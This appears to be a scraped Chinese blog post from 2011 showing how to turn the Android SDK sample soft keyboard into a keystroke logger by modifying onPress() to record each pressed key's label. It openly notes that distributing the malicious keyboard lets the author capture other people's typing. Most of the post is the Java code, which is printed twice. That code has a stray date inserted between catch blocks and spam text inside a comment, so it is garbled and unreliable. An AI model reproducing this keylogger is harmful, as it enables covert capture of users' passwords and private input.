android使用键盘钩子实现按键劫持
2011-09-05 16:21
639 查看
android在应用层实现按键钩子的方案为:
获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()
函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。
public void onPress(int primaryCode) {
int iKeyboardResId;
int iCode;
String sLabel;
String name ;
LatinKeyboard CurrentKeyboard;
StringBuilder sb = new StringBuilder("");
//android.os.Debug.waitForDebugger();
if(mInputView == null)
return;
Keyboard currentKeyboard = mInputView.getKeyboard();
CurrentKeyboard = (LatinKeyboard)currentKeyboard;
iKeyboardResId = CurrentKeyboard.mXmlResId;
//Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));
XmlResourceParser parser = getResources().getXml(iKeyboardResId);
int eventCode;
try
{
eventCode = parser.getEventType();
while (eventCode != XmlResourceParser.END_DOCUMENT)
{
//如果是开始标签
if (eventCode == XmlResourceParser.START_TAG)
{
//获取标签名称
name = parser.getName();
// Log.d("XL: onPress LableName", name);
//判断标签名称是否等于key
if(name.equals("Key"))
{
//获得标签属英语make up是什么意思
sLabel = parser.getAttributeNamespace(0);
sLabel = parser.getAttributeValue(sLabel, "codes");
//iCode = parser.getAttributeIntValue(0, -1);
//Log.d("XL: onPress keyCode", String.valueOf(iCode));
//Log.d("XL: onPress keyCode primaryCode", String.valueOf(primaryCode));
iCode = Integer.parseInt(sLabel);
if( iCode == primaryCode)
{
sLabel = parser.getAttributeNamespace(0);
sLabel = parser.getAttributeValue(sLabel, "keyLabel");
//Log.d("XL: onPress keyCode", String.valueOf(iCode));
//Log.d("XL: onPress keylabel", sLabel);
sb.append("你按下的是: " + sLabel + "键" + "\n");
break;
}
}
}
else if (eventCode == XmlPullParser.END_TAG)
{
}
else if (eventCode == XmlPullParser.TEXT)
{
}
//下一个标签
eventCode = parser.next();
} //while
}
catch (XmlPullParserException e)
{
e.printStackTrace();
}2011年09月
catch (IOException e)
{
e.printStackTrace();
}
Log.d("[XL]", sb.toString());
}
所以,相对安全的方式是自己的软件附带软件键盘,而不是用第三方的哦。
获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()
函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。
public void onPress(int primaryCode) {
int iKeyboardResId;
int iCode;
String sLabel;
String name ;
LatinKeyboard CurrentKeyboard;
StringBuilder sb = new StringBuilder("");
//android.os.Debug.waitForDebugger();
if(mInputView == null)
return;
Keyboard currentKeyboard = mInputView.getKeyboard();
CurrentKeyboard = (LatinKeyboard)currentKeyboard;
iKeyboardResId = CurrentKeyboard.mXmlResId;
//Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));
XmlResourceParser parser = getResources().getXml(iKeyboardResId);
int eventCode;
try
{
eventCode = parser.getEventType();
while (eventCode != XmlResourceParser.END_DOCUMENT)
{
//如果是开始标签
if (eventCode == XmlResourceParser.START_TAG)
{
//获取标签名称
name = parser.getName();
// Log.d("XL: onPress LableName", name);
//判断标签名称是否等于key
if(name.equals("Key"))
{
//获得标签属英语make up是什么意思
sLabel = parser.getAttributeNamespace(0);
sLabel = parser.getAttributeValue(sLabel, "codes");
//iCode = parser.getAttributeIntValue(0, -1);
//Log.d("XL: onPress keyCode", String.valueOf(iCode));
//Log.d("XL: onPress keyCode primaryCode", String.valueOf(primaryCode));
iCode = Integer.parseInt(sLabel);
if( iCode == primaryCode)
{
sLabel = parser.getAttributeNamespace(0);
sLabel = parser.getAttributeValue(sLabel, "keyLabel");
//Log.d("XL: onPress keyCode", String.valueOf(iCode));
//Log.d("XL: onPress keylabel", sLabel);
sb.append("你按下的是: " + sLabel + "键" + "\n");
break;
}
}
}
else if (eventCode == XmlPullParser.END_TAG)
{
}
else if (eventCode == XmlPullParser.TEXT)
{
}
//下一个标签
eventCode = parser.next();
} //while
}
catch (XmlPullParserException e)
{
e.printStackTrace();
}2011年09月
catch (IOException e)
{
e.printStackTrace();
}
Log.d("[XL]", sb.toString());
}
所以,相对安全的方式是自己的软件附带软件键盘,而不是用第三方的哦。
相关文章推荐
- android键盘钩子 android按键劫持
- 【Android】代码实现模拟屏幕点击和键盘按键事件
- 转:Android随笔之——使用Root权限实现后台模拟全局按键、触屏事件方法(类似按键精灵)
- android-使用PopupWindow实现随机排列的自定义密码键盘
- c++使用sendinput函数实现模拟键盘按键操作
- 使用日志钩子实现键盘消息勾挂的例子[z]
- 使用低级键盘钩子实现键盘改键
- Android App实现监听软键盘按键的三种方式
- Win7环境使用VC2008编写DLL实现键盘钩子
- 全局钩子实现键盘按键替换
- 使用日志钩子实现键盘消息勾挂的例子
- android系统PS2全键盘驱动(上)-使用linux的标准接口实现
- android-使用PopupWindow实现随机排列的自定义密码键盘
- Android 显示系统键盘搜索按键,实现搜索功能
- Mstar虚拟按键触摸屏驱动(芯片msg2133,按键使用android虚拟按键实现,特定报点,识别为按键)
- 【Android】代码实现模拟屏幕点击和键盘按键事件
- Android Layout_weight属性完全解析以及使用ListView来实现表格
- Android中使用开源框架EventBus3.0实现Fragment之间的通信交互
- Android使用Spinner实现城市级联下拉框
- C# WinForm键盘按键响应 实现思路